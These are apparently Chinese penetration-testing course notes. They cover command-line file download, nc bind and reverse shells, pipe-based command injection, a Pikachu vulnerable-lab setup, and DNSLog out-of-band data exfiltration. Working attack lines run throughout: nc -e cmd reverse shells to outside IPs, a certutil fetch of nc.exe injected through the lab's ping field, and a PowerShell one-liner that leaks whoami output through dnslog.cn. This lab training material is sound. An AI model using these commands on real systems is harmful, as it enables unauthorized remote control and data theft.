P1 文件上传下载(解决无图形化和解决数据传输)
解决无图形化:
当我们想下载一个文件时,通常是通过浏览器的一个链接直接访问网站点击下载的,但是在实际的安全测试中,我们获取的权限只是一个执行命令的窗口,无法获取图形化界面,因此,我们就需要命令来实现文件的上传和下载。
比如,当我们想上传一个文件到对方的服务器,我们应该想办法用命令让对方执行下载操作,而不可能直接打开对方的服务器的浏览器去下载,因为我们没有获取这样的权限,只能通过黑窗窗输入命令尝试。
- 先建一个网站,把nc.exe 上传到网站上,上传后访问一下看能否正常下载
- 确认访问网站可下载后,再在棱角社区文件下载模块中根据操作系统选择相应的下载命令
windows下载:
centos下载: -
文件下载的作用:
解决渗透环境中没有图形化界面权限,但需要把安全脚本工具传到对方的服务器
思路:在自己的服务器上上传安全测试工具脚本或后门脚本,构造下载的IP地址,让对方远程用命令把需要的文件下载到它的服务器上 - 实际应用:反弹shell有编程语言反弹、有自带工具反弹的、有安全工具类反弹的
-
反弹是干啥用的?为什么要进行反弹?反弹的应用场景
假设你在网上找到一个漏洞,这个漏洞需要你去执行命令,执行完之后,需要等待你的输入继续向下执行,就像网站你输入命令执行了,但它不会把界面给到你,相当于你的命令会一直卡在那里。这是反弹命令可以解决的:它可以把对方的界面反弹到你这边,你就可以输入命令继续向下执行了
反弹可以解决数据通讯问题:
比如:你在网站上一直提交提交,就一直有流量过去,但如果你把权限反弹回来以后,就相当于你在本地执行一样 - 正向连接和反向连接
反弹中一个重要的知识点就是正向连接和反向连接,正向:主动找别人;反向:让别人主动找自己;正向连接和反向连接关键是看以谁为基础
假设有一台linux和一台Windows的服务器,以Windows服务器为基准,Windows服务器主动连接linux就是正向连接,Linux主动连接Windows服务器是反向连接
正向连接
以linux为基准,Linux主动连接Windows服务器是正向连接,Windows服务器主动连接linux就是反向连接。
实验:正向实验
linux主动连接Windows服务器
linux->windows
//绑定cmd到本地的5566端口
nc -e cmd -lvvp 5566
//主动连接目标的5566
ncat 8.218.177.129 5566
反向连接
linux控制windows服务器的cmd
linux主动连接windows,
windows服务器需要先下载nc.exe
cmd要回到nc.exe文件所在的目录才能正常执行
cmd要回到nc.exe文件所在的目录才能正常执行
ps:如果使用的是阿里云之类的云服务器,5566访问不通可能是基于不同厂商的网络安全策略导致,需要访问云服务器的后台增加对应的规则。
nc -e cmd -lvvp 5566
绑定cmd到本地端口的5566
服务器执行上述命令后
linux执行以下命令:
nc 8.218.177.219 5566
这样Windows服务器的cmd窗口就反弹到了linux
Windows服务器输入:
命令:nc -l -p 5566 -t -e c:\windows\system32\cmd.exe
命令解释:本地监听 5354 端口,当有连接进入时,将 -e 指定的 c:\windows\system32\cmd.exe ( 就是个shell ) 主动响应 到 连接者。连接者 就可以进入被连接者的 cmd。( 反弹 shell 原理 )
因为我用的Windows和Linux都是阿里云平台的,因此,需要在阿里云服务器的安全组策略中添加5566端口,两个服务器都要添加,否则端口数据会被防火墙拦截导致连接超时
如果是虚拟机的话,需要关闭防火墙 - 反向连接
windows控制linux
//绑定SH到本地的5566端口
nc -e /bin/sh -lvvp 5566
//主动连接目标的5566
nc 172.18.119.236 5566
linux系统一般都有 NC 的,但是 - e 选项一般都默认不编译。NC不使用-e选项反弹shell - 什么时候用正向连接什么时候用反向连接呢?
打开我的一台Windows虚拟机
在虚拟机时属于内网的
而我们aliyun服务器的Linux是属于外网的
外网找内网的实验
虚拟机开启监听nc -lvvp 5566
linux 连接虚拟机的5566端口
是连不上的
此时,对于linux而言,Linux正向连接Windows是连不上的
就要尝试反向连接
让虚拟机(内网 )主动把cmd给到linux
虚拟机:nc -e cmd linux的IP 5566
这就是正向反向连接的应用价值,什么时候用正向连接,什么时候用反向连接,你要根据网络决定
那么现在,如果是内网(虚拟机)控制linux应该怎么操作呢? - 管道符的使用
利用管道符可以执行多条命令管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)Windows->| & || &&
Linux->; | || & && ``(特有``和;)
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 `whoami`
P2 漏洞靶场搭建-皮卡丘
- 安装phpstudy,打开phpstudy网站目录设置,将目录设置为皮卡丘靶场源码的根目录位置,设置完后重启phpstudy,
- 设置完后重启phpstudy,打开皮卡丘原版里的inc文件夹,里面的config.inc.php文件,将数据库的密码也改为root,保存后重启phpstudy
- 进入浏览器访问靶场的安装页面,即在网站中访问install.php文件,进入后点击安装初始化
显示如下界面表明皮卡丘靶场已经搭建成功,点击“点击这里”连接即可进入靶场
P3 皮卡丘靶场实战&反弹shell/正向连接/反向连接
-
防火墙关闭情况下的反弹shell
第一步:判断操作系统类型
第二部:判断出是Windows操作系统后需要上传nc
01 棱角社区查找下载命令
02 打开皮卡丘靶场下的RCE下的exec “ping”,在右边的框框中输入下载命令点击ping127.0.0.1 |certutil.exe -urlcache -split -f http://8.218.177.129:80/nc.exe nc.exe
03 通过nc进行反弹shell
正向:
皮卡丘将自己的cmd绑定到本地的5566端口,linux主动连接皮卡丘服务器的5566端口
注:8.218.177.129是靶场所在服务器的IP地址
反向:
linux监听5566端口,皮卡丘主动给出自己的cmd给到linux的5566端口linux: nc -lvvp 5566 pikaqiu靶场: 127.0.0.1 | c:\\nc.exe 121.40.222.191 5566 -e cmd 注:121.40.222.191是我的Linux云服务器的外网IP
-
防火墙开启情况下的反弹shell
-
防火墙策略入站规则中阻止5566端口连接
以linux为基准,linux->windows正向连接不成功 ,windows->linux反向连接成功(原因是防火墙策略入站检测严格而出站检测宽松,入站阻止了5566端口连接)
防火墙策略出站规则中阻止5566端口连接,删除入站规则限制,添加出站规则限制后,反向连接不能反弹,正向连接也不能反弹
因为防火墙只允许设置入站规则的端口进行通信
如果在入站规则中添加允许5566端口连接的话,正向反向的连接情况会是怎样的呢?
如果在入站规则中允许5566端口访问的话,出站规则中限制5566端口的话,正向连接可以成功反弹,反向连接不能成功反弹
P4 带外查询
-
什么是带外查询?带外查询有什么用?
-
正常情况下在靶场命令框输入whoami的结果是这样的 ,但是如果没有任何结果输出时怎么办呢?这时就需要用到带外查询了!!!
所谓带外查询就是当输入命令没有正常回显的时候,通过其他方法将命令执行的结果回显出来。
-
带外查询的应用场景
-
我想知道靶场的服务器是什么操作类型,这时候在ping框框中输入whoami,但是没有任何结果显示,那我怎么才能知道结果呢?带外查询,通过带外查询能将whoami的结果带出来,显示出来。
-
通过Windows的powershell理解带外查询
-
01 访问dnslog.cn
02 Windows中的PowerShell03 dnslog浏览器点击Refresh Record刷新,根据结果“admin”我们知道操作系统是windows
-
pikaqiu靶场带外查询
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.jazxdx.dnslog.cn';$z=$x+$y;ping $z
dnslog结果回显